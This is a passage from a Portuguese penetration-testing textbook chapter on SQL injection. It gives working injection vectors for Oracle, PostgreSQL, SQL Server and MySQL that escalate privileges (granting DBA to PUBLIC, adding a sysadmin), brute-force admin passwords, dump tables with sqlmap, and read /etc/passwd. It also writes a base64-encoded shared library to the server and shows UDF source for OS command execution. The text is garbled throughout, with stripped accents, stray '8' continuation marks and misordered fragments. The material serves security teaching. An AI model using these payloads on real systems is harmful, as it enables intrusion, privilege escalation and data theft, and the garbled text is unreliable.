armazenados no cumprem esse requisito e, logo, no podem ser empregados em cenrios tradicionais, restritos injeo em comandos SELECT. Em um primeiro instante, pode parecer ento que aplicaes baseadas em Oracle so imunes aos mtodos de explorao mais interessante, que necessitam muito mais que simples SELECTS. Porm, existe uma situao que possibilita executar quaisquer comandos SQL desejados, a qual ocorre quando o ponto de injeo dentro de um bloco de comandos PL/SQL. Essa linguagem a fornecida pelo SGBD Oracle, para a criao de rotinas, como procedimentos e funes, que so armazenadas no prprio banco de dados. H dois casos possveis para injeo em PL/SQL: 1 No primeiro caso, o valor fornecido por um usurio utilizado diretamente como argumento, em uma chamada de uma rotina vulnervel do banco. Desse modo, a construo do vetor de teste realizada da mesma maneira que para explorar um campo vulnervel de aplicao e, muitas vezes, no possvel nem discernir qual componente possui o defeito. 1 No segundo caso, uma funo vulnervel conhecida e a conta empregada pela aplicao possui os privilgios necessrios para execut-la. Nesse cenrio, o vetor de teste deve incluir uma chamada funo, passando um argumento para ela, que seja capaz de explorar a fraqueza que contm. Observe que isso um ataque de injeo de SQL, contra a aplicao, para efetuar uma segunda injeo de SQL, contra uma rotina do banco. E tudo isso em um nico vetor de ataque! David Litchfield um dos maiores especialistas em segurana de bancos de dados do mundo, alm de ser o descobridor de uma grande parcela das vulnerabilidades reportadas para o SGBD Oracle. Entre os problemas que encontrou, esto inmeras injees em PL/SQL, que s foram corrigidas aps vrias tentativas infrutferas do fornecedor (Litchfield, 2007). Um desses defeitos afetava a funo GET_DOMAIN_INDEX_TABLES do pacote DBMS_EXPORT_EXTENSION, pelo menos, at a verso 10.2.0.1.0 da linha Enterprise Edition. O trecho vulnervel, listado na Figura 6.24, foi extrado a partir dos metadados do Oracle e decifrado com o utilitrio unwrap.py, de Niels Teusink.
251
VERSION IN VARCHAR2, GET_TABLES IN PLS_INTEGER) RETURN VARCHAR2 IS ... BEGIN ... IF GET_TABLES = 1 THEN ... ELSE STMTSTRING := BEGIN || || TYPE_SCHEMA || . || TYPE_NAME || .ODCIIndexUtilCleanup(:p1); || END;; DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7); DBMS_SQL.BIND_VARIABLE(CRS,:p1,GETTABLENAMES_CONTEXT); DUMMY := DBMS_SQL.EXECUTE(CRS); DBMS_SQL.CLOSE_CURSOR(CRS); STMTSTRING := ; END IF;
que permite a injeo de SQL na funo, sendo que todo o contedo de ataque pode ser passado via parmetro TYPE_SCHEMA. 1 O parmetro GET_TABLES deve ser diferente de 1, para que o ELSE seja executado. 1 O vetor de ataque deve possuir um END;-- ao final, para balancear o BEGIN e comentar tudo o que aparece aps TYPE_SCHEMA. 1 Deve haver um parmetro :p1 no vetor de ataque, para que o comando BIND_VARIABLE seja executado corretamente.
252
Para exemplificar, vamos supor um SELECT injetvel, contendo uma coluna numrica e duas textuais. O passo inicial consiste em verificar se a conta atual possui o papel Database AdmiDBA Profissional responsvel pelo desenho, implantao e manuteno dos bancos de dados de uma empresa.
and 1=2 union select 1,null,granted_role from user_role_privs-Pela falta de resultado ilustrado na Figura 6.25, conclui-se que a conta utilizada pela aplicao comum, pois nenhuma linha foi recuperada da tabela chamada user_role_privs.
Como no foi realizada uma injeo de SQL para identificao da conta utilizada pela aplicao, o ataque abaixo concede o papel DBA para todos os usurios, isto , para PUBLIC:
union select 1,null,sys.dbms_export_extension. 8 get_domain_index_tables(a,b,, DBMS_OUTPUT.PUT(:P1); 8 EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN 8 EXECUTE IMMEDIATE grant dba to public;END;;END;--, 8 0,1,0) from dual-Repetindo a injeo para verificao de privilgio administrativo, constata-se que a explorao foi bem-sucedida, como pode ser visto na Figura 6.26.
Figura 6.26 Injeo para verificar se o papel DBA foi concedido para a conta da aplicao.
PostgreSQL
O mdulo dblink, introduzido na verso 7.2 do PostgreSQL, permite criar conexes para outros bancos de dados PostgreSQL, de modo permanente ou instantneo. Ele faz parte do pacote contrib e pode ser instalado, se desejado, por meio da execuo do
script dblink.sql. Caso seja criado em um esquema pblico, qualquer usurio capaz de chamar as diversas funes que o compem. Atualmente, porm, quando o mtodo de autenticao do SGBD configurado para confiana local, as rotinas do mdulo somente funcionam se forem invocadas por uma conta administrativa. Note que confiana local significa que usurios autenticados pelo sistema operacional no precisam fornecer senha para conectar-se ao PostgreSQL, o que inseguro, principalmente, em ambientes compartilhados. H diversos usos legtimos do dblink, mas ele tambm pode ser utilizado, maliciosamente, com o objetivo de escalar privilgios no banco, por meio de fora bruta ou dicionrio, e de realizar varredura de redes (Leidecker, 2007). Essas prticas so possveis porque a execuo de qualquer rotina do mdulo encerrada com erro sempre que a conexo com o servio de destino no puder ser estabelecida. Isso 253
Captulo 6 - Injeo de SQL
pode ocorrer por vrios motivos, entre os quais esto falha de roteamento e credenciais fornecidas invlidas. Com base no ltimo caso, fcil elaborar um ataque para recuperao de senhas: basta executar uma rotina do pacote, variando a senha candidata, at que a conexo seja efetuada. Por exemplo, supondo um SELECT injetvel, contendo uma coluna numrica e duas textuais, o seguinte vetor pode ser utilizado para testar a senha da conta postgres:
union select * from dblink(host=localhost user=postgres 8 password=senha,select 1,\a\,\b\) 8 returns (i int, j text, k text)-Se a senha escolhida estiver incorreta, a seguinte mensagem de erro exibida:
ERROR: could not establish connection DETAIL: FATAL: password authentication failed for user postgres
Se no, o SELECT especificado pelo segundo parmetro da funo dblink executado com sucesso e o resultado adicionado ao da consulta original, conforme ilustrado na Figura 6.27. Alguns pontos que devem ser observados no vetor acima incluem: 1 A funo dblink tem o mesmo nome do mdulo. 1 O primeiro parmetro da funo dblink corresponde a um descritor de conexo, no qual podem ser especificados endereo do servidor, porta do servio, usurio, senha e nome do banco de dados. Desse modo, a rotina pode ser usada para tentar quebrar tambm contas remotas. 1 A funo devolve um conjunto de registros e, por isso, necessrio especificar os tipos de cada elemento, por meio da clusula returns. 1 Uma vez descoberta a senha da conta administrativa, qualquer comando SELECT pode ser utilizado, permitindo a extrao de dados arbitrrios.
SQL Server
O SGBD SQL Server possui um comando semelhante ao dblink, o OPENROWSET, que pode ser chamado, na verso 2000, por qualquer usurio do banco. Consequentemente, o mesmo tipo de ataque pode ser realizado contra aplicaes vulnerveis injeo de SQL e baseadas nessa plataforma. Embora o comando venha desativado por padro, nas verses 2005 em diante o ataque continua vlido se o DBA habilit-lo para a conta utilizada por um sistema problemtico.
254
O primeiro passo para a explorao da vulnerabilidade verificar o nome da conta usada pela aplicao e se ela possui privilgios administrativos. Isso requer o uso de uma funo adicional, chamada de IS_SRVROLEMEMBER, que pode ser usada da seguinte maneira:
and 1=2 union select is_srvrolemember(sysadmin,system_user), 8 system_user,null-O resultado da injeo est ilustrado na Figura 6.28, que permite concluir que a conta utilizada pela aplicao (esr) no administrativa, pois o retorno da funo foi igual a zero (vide primeira coluna). Como se sabe, isso limita muito os tipos de explorao que podem ser realizados, sendo, portanto, desejvel conseguir um acesso privilegiado, como o da conta sa.
Figura 6.28 Injeo de SQL para identificao de conta de usurio e se ela administrativa.
O processo de fora bruta ou dicionrio, para a descoberta da senha do usurio sa, consiste na injeo de vetores empregando o OPENROWSET:
;select * from openrowset(SQLOLEDB,uid=sa;pwd=sa,select 1)-Note que, nesse exemplo, considerou-se que o servidor de banco de dados executado pelo mesmo servidor que o de aplicao, uma vez que nenhum endereo IP foi fornecido. Como as credenciais no esto corretas, a aplicao exibe a mensagem de erro:
;select * from openrowset(SQLOLEDB,uid=sa;pwd=,select 1)-Basta agora executar o procedimento sp_addsrvrolemember para incluir a conta esr no grupo sysadmins, tornando-a administrativa:
Figura 6.29 Injeo para verificar se a conta esr tornou-se administrativa aps a execuo da explorao.
;select * from openrowset(SQLOLEDB,uid=sa;pwd=,select 1; 8 exec master.dbo.sp_addsrvrolemember esr,sysadmin)-Se realizarmos a primeira injeo novamente, possvel observar que o ataque foi executado conforme esperado (vide Figura 6.29).
255
MySQL
Os metadados do MySQL so armazenados em tabelas do esquema INFORMATION_ SCHEMA, a partir do qual possvel obter informaes sobre todos os objetos e privilgios das bases existentes no servidor. As principais tabelas relevantes para o propsito dessa seo incluem: 1 SCHEMATA: prov informaes sobre os bancos de dados existentes. Colunas relevantes: SCHEMA e SQL_PATH. 1 TABLES: fornece informaes sobre tabelas nos diversos bancos de dados. Colunas relevantes: TABLE_SCHEMA, TABLE_NAME e TABLE_ROWS. 1 COLUMNS: possui informaes sobre colunas de tabelas. Colunas relevantes: TABLE_ NAME, COLUMN_NAME, DATA_TYPE, CHARACTER_MAXIMUM_LENGTH, NUMERIC_ PRECISION e NUMERIC_SCALE. A partir das tabelas de metadados, o passo inicial consiste na descoberta das tabelas existentes em todas as bases de dados gerenciadas pelo servidor MySQL:
and 1=2 union select table_rows,null,table_schema,null,table_name, 8 null from information_schema.tables where table_schema <> 8 information_schema order by 3#
Parte do resultado da injeo est na Figura 6.30.
Uma das tabelas descobertas, que pode conter informaes interessantes, a tabela users, criada no esquema dvwa. Para determinar as colunas que a compem, o seguinte vetor pode ser fornecido:
256
and 1=2 union select null,null,column_name,null,data_type,null 8 from information_schema.columns where table_schema=dvwa and 8 table_name=users#
E o resultado obtido est apresentado na Figura 6.31.
Figura 6.31 Colunas da tabela dvwa.users e respectivos tipos, descobertos por injeo de SQL.
Figura 6.32 Contedo da tabela dvwa.users, extrado por meio de injeo de SQL.
Oracle
O dicionrio de dados do Oracle, restrito ao banco de dados corrente, repleto de tabelas organizadas, de modo geral, em trs grandes grupos, identificados por prefixos diferentes: 1 USER: itens da categoria especificada pertencentes ao prprio usurio. 1 ALL: todos os itens da categoria especificada acessveis ao usurio. 1 DBA: todos os itens da categoria especificada existentes no banco de dados. No contexto de enumerao de objetos do banco, os metadados relevantes ficam armazenados nas tabelas abaixo: 1 <prefixo>_TABLES: informaes sobre tabelas. Colunas relevantes: TABLE_NAME, NUM_ROWS e OWNER. 1 <prefixo>_TAB_COLUMNS: informaes sobre as colunas das tabelas. Colunas relevantes: TABLE_NAME, COLUMN_NAME, DATA_TYPE e DATA_LENGTH.
257
Para exemplificar, observe o processo de extrao de uma nica tabela, cujo passo inicial consiste na descoberta de todas as tabelas acessveis pela conta da aplicao:
and 1=2 union select num_rows,table_name,owner from all_tables 8 where num_rows>0 order by 3,2-Algumas das tabelas enumeradas, por meio da injeo acima, encontram-se na Figura 6.33.
Considere que a tabela SCOTT.EMP foi escolhida como alvo. Antes de realizar a extrao dos dados, necessrio determinar os nomes das colunas:
and 1=2 union select data_length,column_name,data_type from 8 all_tab_columns where table_name=EMP and owner=SCOTT-A Figura 6.34 mostra a estrutura da tabela, obtida com o ataque.
Com todas as informaes j levantadas, fica fcil elaborar o vetor para recuperao das informaes desejadas (vide Figura 6.35):
and 1=2 union select sal,ename,job from scott.emp-Teste de Invaso de Aplicaes Web
Figura 6.34 Colunas da tabela SCOTT.EMP e respectivos tipos, descobertos por injeo de SQL.
258
Figura 6.35 Contedo da tabela SCOTT.TIGER, extrado por meio de injeo de SQL.
PostgreSQL
O SGBD PostgreSQL divide cada banco de dados em esquemas e estes em tabelas e demais objetos. Cada banco possui seu prprio dicionrio de dados, armazenado, tambm, como um esquema, que recebe o nome de information_schema. Apesar dessa separao, possvel acessar o dicionrio de outros bancos, fornecendo o caminho completo, conforme a notao <banco de dados>.information_schema. A lista abaixo contempla algumas das tabelas e vises do dicionrio, que so teis para enumerao de objetos: 1 pg_database contm informaes sobre todos os bancos de dados PostgreSQL do servidor. Colunas relevantes: DATNAME e DATISTEMPLATE. 1 information_schema.schemata informaes sobre todos os esquemas do banco de dados associado sesso ou especificado por caminho completo. Colunas relevantes: CATALOG_NAME, SCHEMA_NAME e SCHEMA_OWNER. 1 information_schema.tables essa viso contm informaes sobre todas as tabelas existentes no banco de dados associado sesso ou especificado por caminho completo. Colunas relevantes: TABLE_CATALOG, TABLE_SCHEMA e TABLE_NAME. 1 information_schema.columns contm informaes sobre todas as colunas das tabelas presentes no banco de dados associado sesso ou especificado por caminho completo. Colunas relevantes: TABLE_CATALOG, TABLE_SCHEMA, TABLE_ NAME, COLUMN_NAME, DATA_TYPE e CHARACTER_MAXIMUM_LENGTH. Os vetores de ataque, para recuperao de informaes do dicionrio do PostgreSQL, so
muito semelhantes aos empregados em Oracle e MySQL. Por esse motivo, o processo completo de explorao ser deixado como exerccio para o leitor.
SQL Server
Metadados em SQL Server so armazenados em tabelas especiais, conhecidas como tabelas de sistema, de modo que cada banco de dados possui um conjunto separado delas. A partir de uma nica conexo, possvel acessar todos os conjuntos, bastando para isso
especificar o banco do qual se deseja colher informaes. Isso feito por meio de uma referncia composta por at quatro partes, segundo a sintaxe abaixo:
259
and 1=2 union select 1,name,null from master..sysdatabases-1 Enumerao de tabelas de um banco de dados (no exemplo, master):
and 1=2 union select 1,name,null from master..sysobjects 8 where xtype=U-1 Identificao de colunas de uma tabela (no exemplo, secret_table):
and 1=2 union select a.length,a.name,b.name from master.. 8 syscolumns a, master..systypes b where a.xtype=b.xtype and id= 8 (select id from master..sysobjects where name=secret_table)-Teste de Invaso de Aplicaes Web
1 Extrao dos dados da tabela: 1 and 1=2 union select money,text,null from master..secret_table--
Extrao automatizada
Quando possvel exibir o resultado da injeo de SQL na tela, o uso de uma ferramenta para a extrao de tabelas normalmente no necessrio. Bons resultados podem ser alcanados por meio da tcnica baseada em UNION somada ao conhecimento sobre o dicionrio de dados do SGBD empregado pela aplicao. Apesar dessa ressalva, caso ainda se opte pela automatizao, um timo utilitrio para a tarefa o sqlmap, introduzido anteriormente neste captulo.
260
Das inmeras opes apresentadas pela ferramenta, as pertinentes para enumerao dos objetos do banco de dados so: 1 --tables: enumera as tabelas do banco de dados. 1 --columns: enumera as colunas de uma tabela. 1 --dump: recupera as linhas de uma tabela. 1 --dump-all: extrai as linhas de todas as tabelas do banco de dados.
SQLite Biblioteca livre que implementa um banco de dados SQL transacional e auto-contido, sem a necessidade de um servidor. Opera diretamente com os arquivos de dados, que so totalmente independentes de plataforma.
1 --replicate: armazena os dados obtidos em um banco de dados SQLite3. 1 -D: indica o banco de dados a ser enumerado. 1 -T: indica a tabela a ser enumerada. Um exemplo de utilizao est ilustrado na Figura 6.36, na qual o sqlmap executado com a opo --tables, para enumerao de tabelas. Note que, alm de exibir o resultado em tela, a ferramenta tambm o armazena em um arquivo log, em um diretrio padro.
~$ sqlmap.py -u mssqli.esr.rnp.br/index2.php --tables --forms ... Database: master [39 tables] +--------------------------------------------+ | INFORMATION_SCHEMA.CHECK_CONSTRAINTS | INFORMATION_SCHEMA.COLUMNS | INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE | INFORMATION_SCHEMA.COLUMN_PRIVILEGES | | | |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE | | INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE | INFORMATION_SCHEMA.DOMAINS | INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS ... | dbo.MSreplication_options | dbo.dtproperties | dbo.papers | dbo.secret_table | dbo.spt_datatype_info | dbo.spt_datatype_info_ext
Figura 6.36 Enumerao de tabelas, com auxlio do sqlmap.
| | |
| | |
Captulo 6 - Injeo de SQL
| | | |
| dbo.spt_fallback_dev ...
261
Partindo do resultado anterior, o prximo passo consiste na extrao do contedo de uma ou mais tabelas, o que realizado por meio do comando ilustrado na Figura 6.37.
~$ sqlmap.py -u mssqli.esr.rnp.br/index2.php --forms --dump -T secret_table ... [09:51:18] [INFO] retrieved: 100000000.00 Database: master Table: dbo.secret_table [3 entries] +--------------------+--------------+ | text | value |
+--------------------+--------------+ | Not so secret text | 300.00 | Secret text | Top secret text | 100000.00 | |
Figura 6.37 Extrao do contedo da tabela secret_table, com auxlio do sqlmap.
| 100000000.00 |
+--------------------+--------------+
Manipulao de arquivos
Cada sistema gerenciador de banco de dados, normalmente, possui um conjunto de rotinas embutidas que permitem interagir com o sistema de arquivos e podem ser chamadas como parte de um comando SQL.
Desse modo, por meio de injeo de SQL, possvel gravar arquivos arbitrrios no servidor, em todos os diretrios que o SGBD possui permisso para escrita, assim como extrair arquivos que possam ser lidos por ele. Tais funcionalidades permitem que defeitos na aplicao possam ser empregados para comprometer a plataforma de banco de dados utilizada.
MySQL
H dois mtodos fornecidos pelo SGBD MySQL, para leitura de arquivos, e a escolha de qual utilizar em um ataque depende do mtodo de extrao a ser utilizado (Clarke, 2009; Anley, 2004; Stuttard e Pinto, 2007):
Teste de Invaso de Aplicaes Web
1 LOAD DATA INFILE: esse comando insere o contedo do arquivo especificado na tabela indicada. til quando o resultado da consulta no pode ser exibido na tela, mas comandos empilhados devem ser suportados, para ser utilizado. 1 LOAD_FILE: uma funo que devolve o contedo do arquivo indicado, podendo ser chamada como parte de expresses. o mtodo mais simples de ser usado, mas necessita que o resultado da consulta seja exibido na tela. Por exemplo, para extrair o contedo do arquivo /etc/passwd, o seguinte vetor pode ser injetado na aplicao vulnervel que vimos usando de exemplo:
262
Caso o MySQL seja hospedado juntamente com o servidor web, o que no recomendado do ponto de vista de segurana, um arquivo interessante de se obter o httpd.conf (ou anlogo), porque ele contm diversos detalhes de configurao que podem auxiliar no teste de invaso. Uma pergunta que pode surgir para o aluno como extrair dados binrios usando a presente tcnica, uma vez que esse tipo de arquivo pode conter caracteres no imprimveis. A soluo para superar essa dificuldade simples e consiste em passar o resultado de LOAD_FILE() para a funo HEX(), que converte o argumento em uma sequncia textual de dgitos hexadecimais. Exemplificando, a leitura de um arquivo binrio /tmp/arq.bin pode ser feita da seguinte maneira:
A contraparte do SGBD MySQL, para escrita de arquivos, uma extenso da sintaxe original do SELECT, a qual utiliza clusulas diferentes para arquivos de texto e para binrios: 1 Texto: SELECT ... INTO OUTFILE <nome do arquivo de sada> 1 Binrio: SELECT ... INTO DUMPFILE <nome do arquivo de sada>
263
Ao realizar a injeo com esses comandos, importante observar que, caso o SELECT injetvel selecione mais de uma coluna, a verso binria deve ser empregada para evitar a adio de bytes indesejados. Nesse cenrio, todo o contedo do arquivo, codificado em hexadecimal, deve ser includo em uma nica coluna, enquanto que as demais colunas devem ser especificadas como cadeia vazia (). Caso esta seja trocada por NULL para cada uma das ocorrncias, um byte com valor zero gravado no arquivo destino. Obviamente, isso altera o formato do arquivo original, tornando-o invlido, dependendo da situao em que for usado. Uma ressalva final que a operao resulta em erro sempre que o arquivo especificado j existir ou se a conta do MySQL no possuir permisso de escrita no diretrio informado. Para exemplificar, supondo que se deseja gravar no servidor um arquivo binrio, contendo os bytes {0x05, 0xf4, 0x03}, com o nome tst.bin, no diretrio /tmp, o seguinte vetor pode ser injetado na aplicao vulnervel:
Oracle
A interao com o sistema de arquivos, em Oracle, pode ser realizada empregando-se o pacote UTL_FILE ou um programa escrito em linguagem Java (Litchfield, 2007; Clarke; 2009). Em qualquer dos casos, necessrio ter disposio uma rotina em PL/SQL que seja vulnervel injeo de SQL, como a explorada na seo de escalada de privilgios.
Como o pacote injetado tende a ser grande, nesses casos a situao ideal a criao de uma funo, como a mostrada na Figura 6.39, que possa ser invocada de dentro de um SELECT.
CREATE OR REPLACE FUNCTION FREAD (DIRNAME IN VARCHAR2, FILENAME IN VARCHAR2) RETURN VARCHAR2 AS FILE UTL_FILE.FILE_TYPE; LINE VARCHAR2(1000); CONTENT VARCHAR2(32000); BEGIN
Teste de Invaso de Aplicaes Web
EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE CREATE OR REPLACE DIRECTORY FDIR
AS || DIRNAME || ; END;;
264
FILE := UTL_FILE.FOPEN(FDIR, FILENAME, R); IF UTL_FILE.IS_OPEN(FILE) THEN CONTENT := ; LOOP BEGIN UTL_FILE.GET_LINE(FILE, LINE); CONTENT := CONTENT || LINE || CHR(10); EXCEPTION WHEN NO_DATA_FOUND THEN EXIT; END; END LOOP; UTL_FILE.FCLOSE(FILE); END IF;
Figura 6.39 Funo em PL/SQL para leitura de arquivos-texto.
union select 1,null,sys.dbms_export_extension. 8 get_domain_index_tables(a,b,, q<DBMS_OUTPUT.PUT(:P1); 8 EXECUTE IMMEDIATE q[DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN 8 EXECUTE IMMEDIATE q| 8 CREATE OR REPLACE FUNCTION FREAD (DIRNAME IN VARCHAR2, FILENAME IN 8
Captulo 6 - Injeo de SQL
265
BEGIN 8 EXECUTE IMMEDIATE q{ 8 DECLARE 8 PRAGMA AUTONOMOUS_TRANSACTION; 8 BEGIN 8 EXECUTE IMMEDIATE q!CREATE OR REPLACE DIRECTORY FDIR AS } 8 || DIRNAME || q{!; 8 END;}; 8
FILE := UTL_FILE.FOPEN(q{FDIR}, FILENAME, q{R}); 8 IF UTL_FILE.IS_OPEN(FILE) THEN 8 CONTENT := q{}; 8 LOOP 8 BEGIN 8 UTL_FILE.GET_LINE(FILE, LINE); 8 CONTENT := CONTENT || LINE || CHR(10); 8 EXCEPTION 8 WHEN NO_DATA_FOUND THEN 8 EXIT; 8 END; 8 END LOOP; 8 UTL_FILE.FCLOSE(FILE); 8 END IF; 8 RETURN CONTENT; 8 END; 8 |;END;];END;-->, 8
Teste de Invaso de Aplicaes Web
0,1,0) from dual-O pacote vulnervel DBMS_EXPORT_EXTENSION pertence ao usurio SYS do Oracle e, assim, a funo criada como sendo dele. Consequentemente, para que o usurio da aplicao possa invoc-la, deve-se executar um GRANT, concedendo a ele privilgio de execuo da funo:
union select 1,null,sys.dbms_export_extension. 8 get_domain_index_tables(a,b,, DBMS_OUTPUT.PUT(:P1); 8 EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN 8
266
EXECUTE IMMEDIATE GRANT EXECUTE ON FREAD TO SYSTEM 8 ;END;;END;--, 8 0,1,0) from dual-Feito tudo isso, fica fcil ler arquivos do servidor de banco de dados, como se v no prximo exemplo, que extrai o arquivo /etc/passwd:
and 1=2 union select 1,sys.fread(/etc,passwd),null from dual-O processo de escrita de arquivos segue curso similar, sendo apenas necessrio abrir o arquivo em modo de escrita (W) e utilizar o comando PUT ou derivados.
PostgreSQL
O comando COPY pode ser utilizado, em PostgreSQL, para leitura e escrita de arquivos binrios, em formato prprio do SGBD e textuais. O acesso ao sistema de arquivos est restrito aos privilgios da conta de sistema operacional que executa o SGBD, e no h restrio quanto sobrescrita de arquivos, diferentemente de como ocorre em MySQL. Um ponto importante a ser observado que toda transferncia efetuada sempre entre arquivos e tabelas do banco de dados.
Consequentemente, o primeiro passo para a leitura de um arquivo consiste na escolha da tabela que receber os dados ou na criao de uma tabela temporria, como no exemplo abaixo:
; create table tmp (num serial, data text)-Em seguida, deve-se carregar o arquivo desejado na tabela alvo:
; copy tmp (data) from /var/lib/pgsql/data/pg_hba.conf-Finalmente, os dados podem ser extrados por meio da tcnica baseada em UNION:
and 1=2 union select num,data,null from tmp order by 1-A escrita de arquivos, por sua vez, direta, bastando especificar uma tabela ou utilizar um SELECT como fonte de dados:
; copy books to /tmp/out.txt csv-No vetor acima, a clusula CSV faz com que os campos das linhas da tabela books sejam separados por vrgula quando gravados no arquivo /tmp/out.txt. Observe agora como se armazenam dados a partir de uma consulta:
Todas essas tcnicas apresentam uma limitao, apontada pelo prprio Leidecker (2007), que se resume na impossibilidade de manipular arquivos binrios com formato arbitrrio. Uma soluo para esse problema foi introduzida por Guimares (2009) e se baseia nas funcionalidades de manipulao de objetos grandes.
Embora esse novo mtodo represente um grande avano em relao aos anteriores, o tamanho mximo de arquivo que pode ser copiado para o servidor de apenas 8192 bytes.
267
De acordo com o roteiro descrito por Guimares (2009), a etapa inicial consiste na codificao em BASE64 do arquivo a ser copiado. Considere, por exemplo, que este se chame lib.so:
; create table tmp (data text)-O arquivo em BASE64 deve, ento, ser inserido na tabela de suporte:
; insert into tmp values ( 8 f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAcAgAADQAAAAUEAAAAAAAADQAIAAFACgAGQ 8 AYAAEAAAAAAAAAAAAAAAAAAAAYDgAAGA4AAAUAAAAAEAAAAQAAABgOAAAYHgAAGB4AA 8 AABAAAIAQAABgAAAAAQAAACAAAAMA4AADAeAAAwHgAAyAAAAMgAAAAGAAAABAAAAAQA 8 ... MEAAAAIAAAAAwAAABgfAAAYDwAACAAAAAAAAAAAAAAABAAAAAAAAADGAAAAAQAAADAA 8 AAAAAAAAGA8AACwAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAMAAAAAAAAAAAAAAEQPAAD
8
PAAAAAAAAAAAAAAABAAAAAAAAAA==)-Prossegue-se criando um objeto do tipo large, identificado por um nmero arbitrrio:
; select lo_create(1000)-Agora, o objeto deve ter a parte de dados atualizada, com os bytes originais do arquivo sendo copiados para o servidor. Isso feito manipulando a linha da tabela pg_largeobject, cujo loid seja igual ao identificador escolhido no passo anterior:
; update pg_largeobject set data = (select decode(data,base64) 8 from tmp) where loid=1000-Por fim, o arquivo pode ser criado no servidor por meio da funo lo_export():
; select lo_export(1000,/tmp/lib.so)-UNC Universal Naming Convention. Define o formato de nomes, para acesso a recursos disponibilizados em uma rede local.
SQL Server
Teste de Invaso de Aplicaes Web
A leitura de arquivos em SQL Server realizada de maneira similar suportada pelo SGBD PostgreSQL, mas o comando BULK INSERT utilizado no lugar. A transferncia tambm depende de uma tabela, e a fonte de dados pode ser local ao prprio servidor ou remota, especificada por um UNC, no formato \\servidor\compartilhamento\caminho\arquivo.
Diversas opes so fornecidas pelo comando por meio da clusula WITH para descrever o formato do arquivo de entrada, e, se nenhum deles for empregado, os valores padronizados so assumidos. Exemplos de opes incluem delimitadores de campos e de fim de linha. Assim como em PostgreSQL, o primeiro passo a criao de uma tabela temporria:
268
; create table tmp (data varchar(8000))-A etapa seguinte consiste no carregamento do contedo do arquivo, por exemplo, iis6.log, na tabela recm-criada:
; bulk insert tmp from c:\windows\iis6.log-Por fim, os dados so extrados por meio da tcnica UNION:
and 1=2 union all select null,data,null from tmp-O SQL Server no possui uma contraparte do BULK INSERT diretamente como um comando, sendo necessrio empregar um utilitrio externo, chamado de bcp. Esse aplicativo permite importar e exportar dados de um banco SQL Server e chamado via linha de comando. Assim, para invoc-lo de dentro do SGBD, deve-se utilizar o procedimento estendido xp_ cmdshell, que permite executar programas arbitrrios. Como esse o tema de uma seo adiante, por ora, vejamos apenas exemplos de uso a partir do sistema operacional:
Starting copy...
3 rows copied. Network packet size (bytes): 4096 Clock Time (ms.): total 1
denciais devem ser informadas pelas opes -U e -P. Quando todas as linhas da tabela so exportadas, sem exceo, mais fcil utilizar a segunda sintaxe, abaixo mostrada:
Starting copy...
269
3 rows copied. Network packet size (bytes): 4096 Clock Time (ms.): total 1
A diferena desse formato que a tabela especificada diretamente, como argumento do comando, e a opo out deve ser empregada, em vez de queryout.
q
UDF No contexto de bancos de dados SQL, uma funo definida pelo usurio, que estende as funcionalidades nativas de um SGBD e que pode ser usada como uma expresso.
SGBD alvo. Em alguns casos, possvel cri-las, tambm, a partir de bibliotecas compartilhadas presentes no sistema de arquivos (Guimares, 2009).
MySQL
MySQL permite a criao de funes de usurio, implementadas em linguagem C e compiladas como bibliotecas dinmicas, que devem ser armazenadas, a partir da verso 5.1.19, no diretrio indicado pelo parmetro plugin_dir, definido no arquivo my.cnf. Nas verses anteriores, era possvel coloc-las em qualquer pasta que fosse pesquisada pelo sistema operacional em busca de bibliotecas compartilhadas. Uma dificuldade que se tem hoje em dia, para a criao de tais funes via injeo de SQL, que o diretrio que deve hospedar a biblioteca, normalmente, no pode ser escrito pela conta do MySQL. Alm disso, para injetar o comando CREATE FUNCTION, a aplicao e a verso do SGBD devem suportar comandos empilhados. O exemplo dado a seguir, distribudo como software livre, por meio de licena GPL Lesser General Public License, obra de Bernardo Damele Guimares, criador do sqlmap, e de
Roland Bouman. O cdigo deles, apresentado parcialmente na Figura 6.41, estende a biblioteca lib_mysqludf_sys, parte do repositrio do MySQL, e adiciona ao todo seis funes, incluindo sys_exec() e sys_eval(), para execuo de comandos do sistema operacional. A biblioteca pode ser compilada para ambientes Windows e Linux, tendo em mente que os cabealhos e bibliotecas do MySQL precisam estar instalados.
270
...
char* sys_eval( UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error ){ FILE *pipe; char *line; unsigned long outlen, linelen;
result[0] = (char)0;
while (fgets(line, sizeof(line), pipe) != NULL) { linelen = strlen(line); result = (char *)realloc(result, outlen + linelen); strncpy(result + outlen, line, linelen); outlen = outlen + linelen;
Captulo 6 - Injeo de SQL
}
Figura 6.41 Cdigo-fonte da funo sys_eval(), que estende a funcionalidade do MySQL, permitindo execuo de programas de linha de comando.
pclose(pipe);
271
return result; }
...
A gerao do binrio pode ser feita por meio do seguinte comando:
and 1=2 union select 1,null,variable_value,null,null,null from 8 information_schema.global_variables where variable_name=PLUGIN_ DIR#
Que resulta no valor /usr/lib/mysql/plugin. Por padro, esse diretrio no pode ser escrito por todos os usurios e, assim, para o ataque funcionar, necessrio escalar os privilgios da conta de sistema operacional utilizada pelo MySQL. Para a realizao dessa prova de conceito, entretanto, os privilgios necessrios foram diretamente concedidos conta mysql.
Teste de Invaso de Aplicaes Web
A gravao do arquivo no servidor emprega o comando SELECT ... INTO DUMPFILE, visto anteriormente. Observe que, por se tratar de um arquivo binrio, a biblioteca deve ser codificada como uma cadeia de valores hexadecimais antes de ser transferida. Isso pode ser realizado, facilmente, com auxlio dos utilitrios xxd e tr, para Linux. Enquanto o primeiro cuida do processo de codificao, o ltimo remove os caracteres de fim de linha, gerados pelo programa xxd:
272
